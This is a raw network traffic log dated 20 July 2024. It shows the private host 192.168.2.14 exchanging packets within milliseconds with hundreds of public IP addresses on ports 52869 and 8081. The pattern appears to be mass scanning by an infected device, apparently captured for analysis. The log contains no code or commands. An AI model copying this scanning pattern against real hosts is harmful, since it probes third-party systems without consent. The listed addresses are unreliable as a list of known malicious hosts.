Jul 20, 2024 23:01:02.704539061 CEST	49909	52869	192.168.2.14	18.83.142.79
Jul 20, 2024 23:01:02.704540968 CEST	52869	49909	206.56.168.85	192.168.2.14
Jul 20, 2024 23:01:02.704550028 CEST	52869	49909	4.120.14.72	192.168.2.14
Jul 20, 2024 23:01:02.704554081 CEST	52869	49909	24.222.226.177	192.168.2.14
Jul 20, 2024 23:01:02.704561949 CEST	52869	49909	220.75.209.185	192.168.2.14
Jul 20, 2024 23:01:02.704562902 CEST	49909	52869	192.168.2.14	221.108.123.18
Jul 20, 2024 23:01:02.704562902 CEST	49909	52869	192.168.2.14	197.185.228.174
Jul 20, 2024 23:01:02.704566002 CEST	52869	49909	131.9.83.37	192.168.2.14
Jul 20, 2024 23:01:02.704570055 CEST	52869	49909	182.7.166.103	192.168.2.14
Jul 20, 2024 23:01:02.704575062 CEST	52869	49909	185.10.160.212	192.168.2.14
Jul 20, 2024 23:01:02.704576015 CEST	49909	52869	192.168.2.14	118.85.135.176
Jul 20, 2024 23:01:02.704576015 CEST	49909	52869	192.168.2.14	133.189.249.85
Jul 20, 2024 23:01:02.704576015 CEST	49909	52869	192.168.2.14	223.101.21.113
Jul 20, 2024 23:01:02.704576015 CEST	49909	52869	192.168.2.14	206.56.168.85
Jul 20, 2024 23:01:02.704579115 CEST	49909	52869	192.168.2.14	37.234.26.143
Jul 20, 2024 23:01:02.704590082 CEST	49909	52869	192.168.2.14	4.120.14.72
Jul 20, 2024 23:01:02.704590082 CEST	49909	52869	192.168.2.14	220.75.209.185
Jul 20, 2024 23:01:02.704606056 CEST	52869	49909	175.232.16.61	192.168.2.14
Jul 20, 2024 23:01:02.704613924 CEST	52869	49909	125.247.227.200	192.168.2.14
Jul 20, 2024 23:01:02.704617977 CEST	52869	49909	161.175.131.191	192.168.2.14
Jul 20, 2024 23:01:02.704627037 CEST	52869	49909	182.3.184.231	192.168.2.14
Jul 20, 2024 23:01:02.704631090 CEST	52869	49909	8.255.176.78	192.168.2.14
Jul 20, 2024 23:01:02.704634905 CEST	52869	49909	174.108.35.148	192.168.2.14
Jul 20, 2024 23:01:02.704638958 CEST	52869	49909	157.228.119.82	192.168.2.14
Jul 20, 2024 23:01:02.704691887 CEST	49909	52869	192.168.2.14	182.7.166.103
Jul 20, 2024 23:01:02.704691887 CEST	49909	52869	192.168.2.14	175.232.16.61
Jul 20, 2024 23:01:02.704691887 CEST	49909	52869	192.168.2.14	161.175.131.191
Jul 20, 2024 23:01:02.704691887 CEST	49909	52869	192.168.2.14	8.255.176.78
Jul 20, 2024 23:01:02.704691887 CEST	49909	52869	192.168.2.14	157.228.119.82
Jul 20, 2024 23:01:02.704751968 CEST	49909	52869	192.168.2.14	24.222.226.177
Jul 20, 2024 23:01:02.704751968 CEST	49909	52869	192.168.2.14	131.9.83.37
Jul 20, 2024 23:01:02.704751968 CEST	49909	52869	192.168.2.14	185.10.160.212
Jul 20, 2024 23:01:02.704751968 CEST	49909	52869	192.168.2.14	125.247.227.200
Jul 20, 2024 23:01:02.704751968 CEST	49909	52869	192.168.2.14	182.3.184.231
Jul 20, 2024 23:01:02.704751968 CEST	49909	52869	192.168.2.14	174.108.35.148
Jul 20, 2024 23:01:02.704989910 CEST	52869	49909	117.135.146.205	192.168.2.14
Jul 20, 2024 23:01:02.704994917 CEST	52869	49909	40.196.54.57	192.168.2.14
Jul 20, 2024 23:01:02.705003023 CEST	52869	49909	157.95.73.176	192.168.2.14
Jul 20, 2024 23:01:02.705008030 CEST	52869	49909	199.72.205.209	192.168.2.14
Jul 20, 2024 23:01:02.705020905 CEST	52869	49909	197.115.141.145	192.168.2.14
Jul 20, 2024 23:01:02.705024004 CEST	52869	49909	67.197.228.176	192.168.2.14
Jul 20, 2024 23:01:02.705028057 CEST	49909	52869	192.168.2.14	117.135.146.205
Jul 20, 2024 23:01:02.705029011 CEST	49909	52869	192.168.2.14	40.196.54.57
Jul 20, 2024 23:01:02.705032110 CEST	52869	49909	59.15.135.179	192.168.2.14
Jul 20, 2024 23:01:02.705043077 CEST	49909	52869	192.168.2.14	157.95.73.176
Jul 20, 2024 23:01:02.705048084 CEST	49909	52869	192.168.2.14	67.197.228.176
Jul 20, 2024 23:01:02.705048084 CEST	49909	52869	192.168.2.14	199.72.205.209
Jul 20, 2024 23:01:02.705063105 CEST	49909	52869	192.168.2.14	197.115.141.145
Jul 20, 2024 23:01:02.705089092 CEST	49909	52869	192.168.2.14	59.15.135.179
Jul 20, 2024 23:01:02.705112934 CEST	52869	49909	67.245.50.1	192.168.2.14
Jul 20, 2024 23:01:02.705126047 CEST	52869	49909	20.76.127.36	192.168.2.14
Jul 20, 2024 23:01:02.705131054 CEST	52869	49909	88.202.255.245	192.168.2.14
Jul 20, 2024 23:01:02.705138922 CEST	52869	49909	109.39.218.192	192.168.2.14
Jul 20, 2024 23:01:02.705142975 CEST	52869	49909	69.247.212.34	192.168.2.14
Jul 20, 2024 23:01:02.705151081 CEST	49909	52869	192.168.2.14	67.245.50.1
Jul 20, 2024 23:01:02.705151081 CEST	49909	52869	192.168.2.14	88.202.255.245
Jul 20, 2024 23:01:02.705151081 CEST	52869	49909	133.112.161.176	192.168.2.14
Jul 20, 2024 23:01:02.705154896 CEST	52869	49909	34.166.184.21	192.168.2.14
Jul 20, 2024 23:01:02.705163002 CEST	52869	49909	218.140.98.20	192.168.2.14
Jul 20, 2024 23:01:02.705169916 CEST	49909	52869	192.168.2.14	69.247.212.34
Jul 20, 2024 23:01:02.705172062 CEST	52869	49909	67.159.114.76	192.168.2.14
Jul 20, 2024 23:01:02.705176115 CEST	52869	49909	115.182.49.79	192.168.2.14
Jul 20, 2024 23:01:02.705176115 CEST	49909	52869	192.168.2.14	20.76.127.36
Jul 20, 2024 23:01:02.705176115 CEST	49909	52869	192.168.2.14	109.39.218.192
Jul 20, 2024 23:01:02.705176115 CEST	49909	52869	192.168.2.14	133.112.161.176
Jul 20, 2024 23:01:02.705178976 CEST	52869	49909	5.95.184.13	192.168.2.14
Jul 20, 2024 23:01:02.705183029 CEST	52869	49909	32.3.226.200	192.168.2.14
Jul 20, 2024 23:01:02.705187082 CEST	52869	49909	181.156.57.163	192.168.2.14
Jul 20, 2024 23:01:02.705190897 CEST	52869	49909	183.98.35.16	192.168.2.14
Jul 20, 2024 23:01:02.705193996 CEST	49909	52869	192.168.2.14	34.166.184.21
Jul 20, 2024 23:01:02.705194950 CEST	49909	52869	192.168.2.14	67.159.114.76
Jul 20, 2024 23:01:02.705208063 CEST	49909	52869	192.168.2.14	218.140.98.20
Jul 20, 2024 23:01:02.705208063 CEST	49909	52869	192.168.2.14	115.182.49.79
Jul 20, 2024 23:01:02.705208063 CEST	49909	52869	192.168.2.14	32.3.226.200
Jul 20, 2024 23:01:02.705215931 CEST	49909	52869	192.168.2.14	5.95.184.13
Jul 20, 2024 23:01:02.705215931 CEST	49909	52869	192.168.2.14	181.156.57.163
Jul 20, 2024 23:01:02.705342054 CEST	49909	52869	192.168.2.14	183.98.35.16
Jul 20, 2024 23:01:02.705559969 CEST	52869	49909	122.76.170.161	192.168.2.14
Jul 20, 2024 23:01:02.705573082 CEST	52869	49909	134.211.30.119	192.168.2.14
Jul 20, 2024 23:01:02.705576897 CEST	52869	49909	64.4.31.90	192.168.2.14
Jul 20, 2024 23:01:02.705585003 CEST	52869	49909	62.210.121.58	192.168.2.14
Jul 20, 2024 23:01:02.705589056 CEST	52869	49909	60.15.196.16	192.168.2.14
Jul 20, 2024 23:01:02.705598116 CEST	49909	52869	192.168.2.14	122.76.170.161
Jul 20, 2024 23:01:02.705598116 CEST	49909	52869	192.168.2.14	64.4.31.90
Jul 20, 2024 23:01:02.705600977 CEST	52869	49909	58.188.6.15	192.168.2.14
Jul 20, 2024 23:01:02.705605030 CEST	52869	49909	159.103.223.156	192.168.2.14
Jul 20, 2024 23:01:02.705609083 CEST	52869	49909	109.101.182.31	192.168.2.14
Jul 20, 2024 23:01:02.705616951 CEST	52869	49909	211.251.189.248	192.168.2.14
Jul 20, 2024 23:01:02.705621004 CEST	52869	49909	54.179.168.154	192.168.2.14
Jul 20, 2024 23:01:02.705625057 CEST	52869	49909	63.44.175.189	192.168.2.14
Jul 20, 2024 23:01:02.705630064 CEST	49909	52869	192.168.2.14	60.15.196.16
Jul 20, 2024 23:01:02.705632925 CEST	52869	49909	163.122.52.62	192.168.2.14
Jul 20, 2024 23:01:02.705640078 CEST	49909	52869	192.168.2.14	159.103.223.156
Jul 20, 2024 23:01:02.705641031 CEST	52869	49909	136.64.73.235	192.168.2.14
Jul 20, 2024 23:01:02.705645084 CEST	52869	49909	201.56.173.83	192.168.2.14
Jul 20, 2024 23:01:02.705648899 CEST	52869	49909	63.6.64.97	192.168.2.14
Jul 20, 2024 23:01:02.705648899 CEST	49909	52869	192.168.2.14	63.44.175.189
Jul 20, 2024 23:01:02.705652952 CEST	52869	49909	115.95.175.230	192.168.2.14
Jul 20, 2024 23:01:02.705662012 CEST	52869	49909	140.106.76.203	192.168.2.14
Jul 20, 2024 23:01:02.705665112 CEST	52869	49909	61.254.244.36	192.168.2.14
Jul 20, 2024 23:01:02.705667019 CEST	49909	52869	192.168.2.14	211.251.189.248
Jul 20, 2024 23:01:02.705668926 CEST	52869	49909	64.184.163.20	192.168.2.14
Jul 20, 2024 23:01:02.705678940 CEST	49909	52869	192.168.2.14	136.64.73.235
Jul 20, 2024 23:01:02.705678940 CEST	49909	52869	192.168.2.14	140.106.76.203
Jul 20, 2024 23:01:02.705683947 CEST	52869	49909	115.232.217.145	192.168.2.14
Jul 20, 2024 23:01:02.705694914 CEST	49909	52869	192.168.2.14	63.6.64.97
Jul 20, 2024 23:01:02.705694914 CEST	49909	52869	192.168.2.14	64.184.163.20
Jul 20, 2024 23:01:02.706008911 CEST	52869	49909	94.35.245.25	192.168.2.14
Jul 20, 2024 23:01:02.706022024 CEST	52869	49909	133.229.80.191	192.168.2.14
Jul 20, 2024 23:01:02.706026077 CEST	52869	49909	69.252.140.208	192.168.2.14
Jul 20, 2024 23:01:02.706029892 CEST	52869	49909	125.58.111.29	192.168.2.14
Jul 20, 2024 23:01:02.706032991 CEST	52869	49909	172.174.77.114	192.168.2.14
Jul 20, 2024 23:01:02.706042051 CEST	52869	49909	117.222.18.77	192.168.2.14
Jul 20, 2024 23:01:02.706046104 CEST	52869	49909	191.247.60.156	192.168.2.14
Jul 20, 2024 23:01:02.706051111 CEST	49909	52869	192.168.2.14	133.229.80.191
Jul 20, 2024 23:01:02.706068993 CEST	49909	52869	192.168.2.14	69.252.140.208
Jul 20, 2024 23:01:02.706068993 CEST	49909	52869	192.168.2.14	191.247.60.156
Jul 20, 2024 23:01:02.706228018 CEST	40108	8081	192.168.2.14	4.252.192.158
Jul 20, 2024 23:01:02.706279993 CEST	49909	52869	192.168.2.14	134.211.30.119
Jul 20, 2024 23:01:02.706279993 CEST	49909	52869	192.168.2.14	62.210.121.58
Jul 20, 2024 23:01:02.706279993 CEST	49909	52869	192.168.2.14	58.188.6.15
Jul 20, 2024 23:01:02.706279993 CEST	49909	52869	192.168.2.14	109.101.182.31
Jul 20, 2024 23:01:02.706279993 CEST	49909	52869	192.168.2.14	54.179.168.154
Jul 20, 2024 23:01:02.706280947 CEST	49909	52869	192.168.2.14	163.122.52.62
Jul 20, 2024 23:01:02.706280947 CEST	49909	52869	192.168.2.14	201.56.173.83
Jul 20, 2024 23:01:02.706280947 CEST	49909	52869	192.168.2.14	115.95.175.230
Jul 20, 2024 23:01:02.706299067 CEST	52869	49909	192.101.34.115	192.168.2.14
Jul 20, 2024 23:01:02.706312895 CEST	52869	49909	162.255.55.54	192.168.2.14
Jul 20, 2024 23:01:02.706316948 CEST	52869	49909	114.46.197.20	192.168.2.14
Jul 20, 2024 23:01:02.706321001 CEST	52869	49909	139.88.165.17	192.168.2.14
Jul 20, 2024 23:01:02.706334114 CEST	52869	49909	151.244.219.9	192.168.2.14
Jul 20, 2024 23:01:02.706337929 CEST	52869	49909	31.131.161.13	192.168.2.14
Jul 20, 2024 23:01:02.706341028 CEST	49909	52869	192.168.2.14	61.254.244.36
Jul 20, 2024 23:01:02.706341028 CEST	49909	52869	192.168.2.14	115.232.217.145
Jul 20, 2024 23:01:02.706341028 CEST	49909	52869	192.168.2.14	94.35.245.25
Jul 20, 2024 23:01:02.706341028 CEST	49909	52869	192.168.2.14	125.58.111.29
Jul 20, 2024 23:01:02.706342936 CEST	49909	52869	192.168.2.14	162.255.55.54
Jul 20, 2024 23:01:02.706341028 CEST	49909	52869	192.168.2.14	172.174.77.114
Jul 20, 2024 23:01:02.706342936 CEST	49909	52869	192.168.2.14	192.101.34.115
Jul 20, 2024 23:01:02.706341028 CEST	49909	52869	192.168.2.14	117.222.18.77
Jul 20, 2024 23:01:02.706342936 CEST	49909	52869	192.168.2.14	114.46.197.20
Jul 20, 2024 23:01:02.706429958 CEST	49909	52869	192.168.2.14	151.244.219.9
Jul 20, 2024 23:01:02.706520081 CEST	49909	52869	192.168.2.14	139.88.165.17
Jul 20, 2024 23:01:02.706520081 CEST	49909	52869	192.168.2.14	31.131.161.13
Jul 20, 2024 23:01:02.706697941 CEST	52869	49909	97.147.119.179	192.168.2.14
Jul 20, 2024 23:01:02.706701994 CEST	52869	49909	155.208.128.84	192.168.2.14
Jul 20, 2024 23:01:02.706712008 CEST	52869	49909	157.215.248.200	192.168.2.14
Jul 20, 2024 23:01:02.706716061 CEST	52869	49909	35.79.125.134	192.168.2.14
Jul 20, 2024 23:01:02.706723928 CEST	52869	49909	99.176.234.182	192.168.2.14
Jul 20, 2024 23:01:02.706727982 CEST	52869	49909	182.58.83.131	192.168.2.14
Jul 20, 2024 23:01:02.706736088 CEST	52869	49909	161.83.111.18	192.168.2.14
Jul 20, 2024 23:01:02.706739902 CEST	52869	49909	102.240.109.62	192.168.2.14
Jul 20, 2024 23:01:02.706739902 CEST	49909	52869	192.168.2.14	155.208.128.84
Jul 20, 2024 23:01:02.706742048 CEST	49909	52869	192.168.2.14	97.147.119.179
Jul 20, 2024 23:01:02.706742048 CEST	49909	52869	192.168.2.14	35.79.125.134
Jul 20, 2024 23:01:02.706742048 CEST	49909	52869	192.168.2.14	157.215.248.200
Jul 20, 2024 23:01:02.706758976 CEST	49909	52869	192.168.2.14	99.176.234.182
Jul 20, 2024 23:01:02.706785917 CEST	49909	52869	192.168.2.14	161.83.111.18
Jul 20, 2024 23:01:02.706799984 CEST	49909	52869	192.168.2.14	182.58.83.131
Jul 20, 2024 23:01:02.706799984 CEST	49909	52869	192.168.2.14	102.240.109.62
Jul 20, 2024 23:01:02.706824064 CEST	52869	49909	125.83.19.96	192.168.2.14
Jul 20, 2024 23:01:02.706832886 CEST	52869	49909	203.215.121.186	192.168.2.14
Jul 20, 2024 23:01:02.706836939 CEST	52869	49909	188.50.67.115	192.168.2.14
Jul 20, 2024 23:01:02.706850052 CEST	52869	49909	58.88.3.146	192.168.2.14
Jul 20, 2024 23:01:02.706862926 CEST	49909	52869	192.168.2.14	125.83.19.96
Jul 20, 2024 23:01:02.706862926 CEST	49909	52869	192.168.2.14	188.50.67.115
Jul 20, 2024 23:01:02.706873894 CEST	49909	52869	192.168.2.14	203.215.121.186
Jul 20, 2024 23:01:02.706883907 CEST	49909	52869	192.168.2.14	58.88.3.146
Jul 20, 2024 23:01:02.707142115 CEST	50165	8081	192.168.2.14	64.40.220.249
Jul 20, 2024 23:01:02.707142115 CEST	50165	8081	192.168.2.14	73.192.89.112
Jul 20, 2024 23:01:02.707165956 CEST	52869	49909	211.134.19.126	192.168.2.14
Jul 20, 2024 23:01:02.707175016 CEST	52869	49909	210.152.45.49	192.168.2.14
Jul 20, 2024 23:01:02.707186937 CEST	52869	49909	196.189.103.136	192.168.2.14
Jul 20, 2024 23:01:02.707190990 CEST	52869	49909	150.84.39.231	192.168.2.14
Jul 20, 2024 23:01:02.707195044 CEST	52869	49909	78.143.187.67	192.168.2.14
Jul 20, 2024 23:01:02.707206964 CEST	49909	52869	192.168.2.14	211.134.19.126
Jul 20, 2024 23:01:02.707217932 CEST	49909	52869	192.168.2.14	196.189.103.136
Jul 20, 2024 23:01:02.707222939 CEST	49909	52869	192.168.2.14	210.152.45.49
Jul 20, 2024 23:01:02.707222939 CEST	49909	52869	192.168.2.14	150.84.39.231
Jul 20, 2024 23:01:02.707252026 CEST	49909	52869	192.168.2.14	78.143.187.67
Jul 20, 2024 23:01:02.707504988 CEST	52869	49909	20.57.171.76	192.168.2.14
Jul 20, 2024 23:01:02.707509995 CEST	52869	49909	88.143.222.4	192.168.2.14
Jul 20, 2024 23:01:02.707518101 CEST	52869	49909	35.88.180.127	192.168.2.14
Jul 20, 2024 23:01:02.707521915 CEST	52869	49909	63.215.32.142	192.168.2.14
Jul 20, 2024 23:01:02.707530022 CEST	52869	49909	219.154.176.64	192.168.2.14
Jul 20, 2024 23:01:02.707534075 CEST	52869	49909	162.202.67.187	192.168.2.14
Jul 20, 2024 23:01:02.707544088 CEST	49909	52869	192.168.2.14	88.143.222.4
Jul 20, 2024 23:01:02.707545996 CEST	52869	49909	48.162.253.220	192.168.2.14
Jul 20, 2024 23:01:02.707545996 CEST	49909	52869	192.168.2.14	35.88.180.127
Jul 20, 2024 23:01:02.707556963 CEST	52869	49909	180.142.154.12	192.168.2.14
Jul 20, 2024 23:01:02.707560062 CEST	49909	52869	192.168.2.14	63.215.32.142
Jul 20, 2024 23:01:02.707561970 CEST	52869	49909	125.193.221.98	192.168.2.14
Jul 20, 2024 23:01:02.707565069 CEST	49909	52869	192.168.2.14	219.154.176.64
Jul 20, 2024 23:01:02.707565069 CEST	49909	52869	192.168.2.14	20.57.171.76
Jul 20, 2024 23:01:02.707576036 CEST	49909	52869	192.168.2.14	162.202.67.187
Jul 20, 2024 23:01:02.707577944 CEST	52869	49909	74.245.146.50	192.168.2.14
Jul 20, 2024 23:01:02.707587004 CEST	52869	49909	166.12.121.94	192.168.2.14
Jul 20, 2024 23:01:02.707591057 CEST	52869	49909	77.94.73.129	192.168.2.14
Jul 20, 2024 23:01:02.707597017 CEST	49909	52869	192.168.2.14	48.162.253.220
Jul 20, 2024 23:01:02.707597017 CEST	49909	52869	192.168.2.14	125.193.221.98
Jul 20, 2024 23:01:02.707597971 CEST	52869	49909	107.128.152.216	192.168.2.14
Jul 20, 2024 23:01:02.707602978 CEST	52869	49909	13.157.180.21	192.168.2.14
Jul 20, 2024 23:01:02.707604885 CEST	49909	52869	192.168.2.14	180.142.154.12
Jul 20, 2024 23:01:02.707604885 CEST	49909	52869	192.168.2.14	74.245.146.50
Jul 20, 2024 23:01:02.707609892 CEST	52869	49909	68.55.149.217	192.168.2.14
Jul 20, 2024 23:01:02.707622051 CEST	52869	49909	98.244.210.91	192.168.2.14
Jul 20, 2024 23:01:02.707627058 CEST	49909	52869	192.168.2.14	166.12.121.94
Jul 20, 2024 23:01:02.707627058 CEST	49909	52869	192.168.2.14	107.128.152.216
Jul 20, 2024 23:01:02.707631111 CEST	49909	52869	192.168.2.14	77.94.73.129
Jul 20, 2024 23:01:02.707631111 CEST	49909	52869	192.168.2.14	13.157.180.21
Jul 20, 2024 23:01:02.707658052 CEST	49909	52869	192.168.2.14	68.55.149.217
Jul 20, 2024 23:01:02.707658052 CEST	49909	52869	192.168.2.14	98.244.210.91
Jul 20, 2024 23:01:02.707699060 CEST	52869	49909	187.121.191.108	192.168.2.14
Jul 20, 2024 23:01:02.707707882 CEST	52869	49909	14.179.227.89	192.168.2.14
Jul 20, 2024 23:01:02.707711935 CEST	52869	49909	83.156.237.241	192.168.2.14
Jul 20, 2024 23:01:02.707731962 CEST	49909	52869	192.168.2.14	187.121.191.108
Jul 20, 2024 23:01:02.707741976 CEST	49909	52869	192.168.2.14	83.156.237.241
Jul 20, 2024 23:01:02.707746983 CEST	49909	52869	192.168.2.14	14.179.227.89
Jul 20, 2024 23:01:02.707762957 CEST	52869	49909	158.155.148.207	192.168.2.14
Jul 20, 2024 23:01:02.707819939 CEST	49909	52869	192.168.2.14	158.155.148.207
Jul 20, 2024 23:01:02.707937002 CEST	52869	49909	85.17.128.220	192.168.2.14
Jul 20, 2024 23:01:02.707942009 CEST	52869	49909	222.2.63.143	192.168.2.14
Jul 20, 2024 23:01:02.707950115 CEST	52869	49909	75.125.138.81	192.168.2.14
Jul 20, 2024 23:01:02.707978010 CEST	49909	52869	192.168.2.14	222.2.63.143
Jul 20, 2024 23:01:02.707978010 CEST	49909	52869	192.168.2.14	85.17.128.220
Jul 20, 2024 23:01:02.708013058 CEST	49909	52869	192.168.2.14	75.125.138.81
Jul 20, 2024 23:01:02.708081961 CEST	52869	49909	177.3.229.54	192.168.2.14
Jul 20, 2024 23:01:02.708100080 CEST	52869	49909	12.193.132.56	192.168.2.14
Jul 20, 2024 23:01:02.708132029 CEST	49909	52869	192.168.2.14	177.3.229.54
Jul 20, 2024 23:01:02.708153009 CEST	49909	52869	192.168.2.14	12.193.132.56
Jul 20, 2024 23:01:02.708189964 CEST	52869	49909	8.102.112.227	192.168.2.14
Jul 20, 2024 23:01:02.708194017 CEST	52869	49909	195.244.152.185	192.168.2.14
Jul 20, 2024 23:01:02.708203077 CEST	52869	49909	20.76.117.12	192.168.2.14
Jul 20, 2024 23:01:02.708210945 CEST	52869	49909	49.167.6.76	192.168.2.14
Jul 20, 2024 23:01:02.708223104 CEST	52869	49909	71.42.151.69	192.168.2.14
Jul 20, 2024 23:01:02.708230972 CEST	49909	52869	192.168.2.14	195.244.152.185
Jul 20, 2024 23:01:02.708230972 CEST	49909	52869	192.168.2.14	8.102.112.227
Jul 20, 2024 23:01:02.708230972 CEST	49909	52869	192.168.2.14	20.76.117.12
Jul 20, 2024 23:01:02.708230972 CEST	49909	52869	192.168.2.14	49.167.6.76
Jul 20, 2024 23:01:02.708281040 CEST	49909	52869	192.168.2.14	71.42.151.69
Jul 20, 2024 23:01:02.708400011 CEST	52869	49909	197.157.91.129	192.168.2.14
Jul 20, 2024 23:01:02.708436012 CEST	49909	52869	192.168.2.14	197.157.91.129
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	79.56.196.56
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	112.122.223.13
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	89.133.123.162
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	165.66.8.4
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	183.231.55.178
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	20.225.117.186
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	49.38.59.138
Jul 20, 2024 23:01:02.710643053 CEST	50165	8081	192.168.2.14	216.92.128.30
Jul 20, 2024 23:01:02.710756063 CEST	50165	8081	192.168.2.14	80.125.118.26
Jul 20, 2024 23:01:02.710756063 CEST	50165	8081	192.168.2.14	147.206.164.111
Jul 20, 2024 23:01:02.710756063 CEST	50165	8081	192.168.2.14	89.221.248.198
Jul 20, 2024 23:01:02.710756063 CEST	50165	8081	192.168.2.14	72.94.84.35
Jul 20, 2024 23:01:02.710756063 CEST	50165	8081	192.168.2.14	176.206.93.170
Jul 20, 2024 23:01:02.710756063 CEST	50165	8081	192.168.2.14	198.170.21.34
Jul 20, 2024 23:01:02.710757017 CEST	50165	8081	192.168.2.14	8.5.178.189
Jul 20, 2024 23:01:02.711034060 CEST	41716	52869	192.168.2.14	64.117.200.225
Jul 20, 2024 23:01:02.711303949 CEST	49909	52869	192.168.2.14	123.129.121.17
Jul 20, 2024 23:01:02.711323977 CEST	52869	49909	32.207.53.101	192.168.2.14
Jul 20, 2024 23:01:02.711328983 CEST	52869	49909	5.150.55.167	192.168.2.14
Jul 20, 2024 23:01:02.711338997 CEST	52869	49909	114.49.109.138	192.168.2.14
Jul 20, 2024 23:01:02.711370945 CEST	49909	52869	192.168.2.14	32.207.53.101
Jul 20, 2024 23:01:02.711370945 CEST	49909	52869	192.168.2.14	5.150.55.167
Jul 20, 2024 23:01:02.711370945 CEST	49909	52869	192.168.2.14	114.49.109.138
Jul 20, 2024 23:01:02.711419106 CEST	50165	8081	192.168.2.14	173.59.27.14
Jul 20, 2024 23:01:02.711419106 CEST	50165	8081	192.168.2.14	87.188.229.11
Jul 20, 2024 23:01:02.711419106 CEST	50165	8081	192.168.2.14	102.241.240.72
Jul 20, 2024 23:01:02.711420059 CEST	50165	8081	192.168.2.14	140.33.143.7
Jul 20, 2024 23:01:02.711420059 CEST	50165	8081	192.168.2.14	196.97.217.216
Jul 20, 2024 23:01:02.711420059 CEST	50165	8081	192.168.2.14	194.184.157.56
Jul 20, 2024 23:01:02.711420059 CEST	50165	8081	192.168.2.14	151.34.129.30
Jul 20, 2024 23:01:02.711452007 CEST	52869	49909	123.214.118.164	192.168.2.14
Jul 20, 2024 23:01:02.711456060 CEST	52869	49909	44.70.230.48	192.168.2.14
Jul 20, 2024 23:01:02.711464882 CEST	52869	49909	44.74.222.183	192.168.2.14
Jul 20, 2024 23:01:02.711493015 CEST	49909	52869	192.168.2.14	123.214.118.164
Jul 20, 2024 23:01:02.711493015 CEST	49909	52869	192.168.2.14	44.70.230.48
Jul 20, 2024 23:01:02.711493015 CEST	49909	52869	192.168.2.14	44.74.222.183
Jul 20, 2024 23:01:02.711540937 CEST	52869	49909	100.149.230.74	192.168.2.14
Jul 20, 2024 23:01:02.711574078 CEST	49909	52869	192.168.2.14	100.149.230.74
Jul 20, 2024 23:01:02.711764097 CEST	52869	49909	169.177.65.17	192.168.2.14
Jul 20, 2024 23:01:02.711769104 CEST	52869	49909	142.250.180.55	192.168.2.14
Jul 20, 2024 23:01:02.711781025 CEST	52869	49909	4.241.231.70	192.168.2.14
Jul 20, 2024 23:01:02.711800098 CEST	49909	52869	192.168.2.14	169.177.65.17
Jul 20, 2024 23:01:02.711800098 CEST	49909	52869	192.168.2.14	142.250.180.55
Jul 20, 2024 23:01:02.711823940 CEST	49909	52869	192.168.2.14	4.241.231.70
Jul 20, 2024 23:01:02.711920023 CEST	52869	49909	83.33.89.13	192.168.2.14
Jul 20, 2024 23:01:02.711925030 CEST	52869	49909	208.90.240.78	192.168.2.14
Jul 20, 2024 23:01:02.711935043 CEST	52869	49909	2.66.199.240	192.168.2.14
Jul 20, 2024 23:01:02.711947918 CEST	52869	49909	219.10.45.71	192.168.2.14
Jul 20, 2024 23:01:02.711961031 CEST	52869	49909	199.107.193.176	192.168.2.14
Jul 20, 2024 23:01:02.711961031 CEST	49909	52869	192.168.2.14	208.90.240.78
Jul 20, 2024 23:01:02.711961031 CEST	49909	52869	192.168.2.14	83.33.89.13
Jul 20, 2024 23:01:02.711966038 CEST	52869	49909	130.27.197.192	192.168.2.14
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	206.107.44.89
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	118.74.36.233
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	63.244.125.61
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	151.157.2.20
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	39.48.171.124
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	198.115.232.89
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	183.125.176.2
Jul 20, 2024 23:01:02.711977959 CEST	50165	8081	192.168.2.14	213.251.115.123
Jul 20, 2024 23:01:02.712044001 CEST	49909	52869	192.168.2.14	2.66.199.240
Jul 20, 2024 23:01:02.712044001 CEST	49909	52869	192.168.2.14	219.10.45.71
Jul 20, 2024 23:01:02.712044001 CEST	49909	52869	192.168.2.14	199.107.193.176
Jul 20, 2024 23:01:02.712044001 CEST	49909	52869	192.168.2.14	130.27.197.192
Jul 20, 2024 23:01:02.712271929 CEST	50165	8081	192.168.2.14	223.6.190.72
Jul 20, 2024 23:01:02.712271929 CEST	50165	8081	192.168.2.14	70.21.31.221
Jul 20, 2024 23:01:02.712325096 CEST	52869	49909	141.66.97.162	192.168.2.14
Jul 20, 2024 23:01:02.712330103 CEST	8081	60310	82.158.248.76	192.168.2.14
Jul 20, 2024 23:01:02.712357044 CEST	49909	52869	192.168.2.14	141.66.97.162
Jul 20, 2024 23:01:02.712368011 CEST	8081	52376	187.124.242.50	192.168.2.14
Jul 20, 2024 23:01:02.712390900 CEST	60310	8081	192.168.2.14	82.158.248.76
Jul 20, 2024 23:01:02.712414980 CEST	52376	8081	192.168.2.14	187.124.242.50
Jul 20, 2024 23:01:02.712641954 CEST	8081	54268	139.158.68.80	192.168.2.14
Jul 20, 2024 23:01:02.712660074 CEST	8081	46882	1.178.171.139	192.168.2.14
Jul 20, 2024 23:01:02.712718964 CEST	52869	49909	107.66.233.245	192.168.2.14
Jul 20, 2024 23:01:02.712728977 CEST	52869	49909	204.90.152.24	192.168.2.14
Jul 20, 2024 23:01:02.712733030 CEST	52869	49909	118.198.10.187	192.168.2.14
Jul 20, 2024 23:01:02.712742090 CEST	52869	49909	88.162.173.203	192.168.2.14
Jul 20, 2024 23:01:02.712747097 CEST	52869	49909	106.20.220.81	192.168.2.14
Jul 20, 2024 23:01:02.712755919 CEST	52869	49909	164.215.151.124	192.168.2.14
Jul 20, 2024 23:01:02.712759972 CEST	52869	49909	97.103.86.19	192.168.2.14
Jul 20, 2024 23:01:02.712762117 CEST	49909	52869	192.168.2.14	118.198.10.187
Jul 20, 2024 23:01:02.712763071 CEST	52869	49909	71.13.23.133	192.168.2.14
Jul 20, 2024 23:01:02.712764025 CEST	46882	8081	192.168.2.14	1.178.171.139
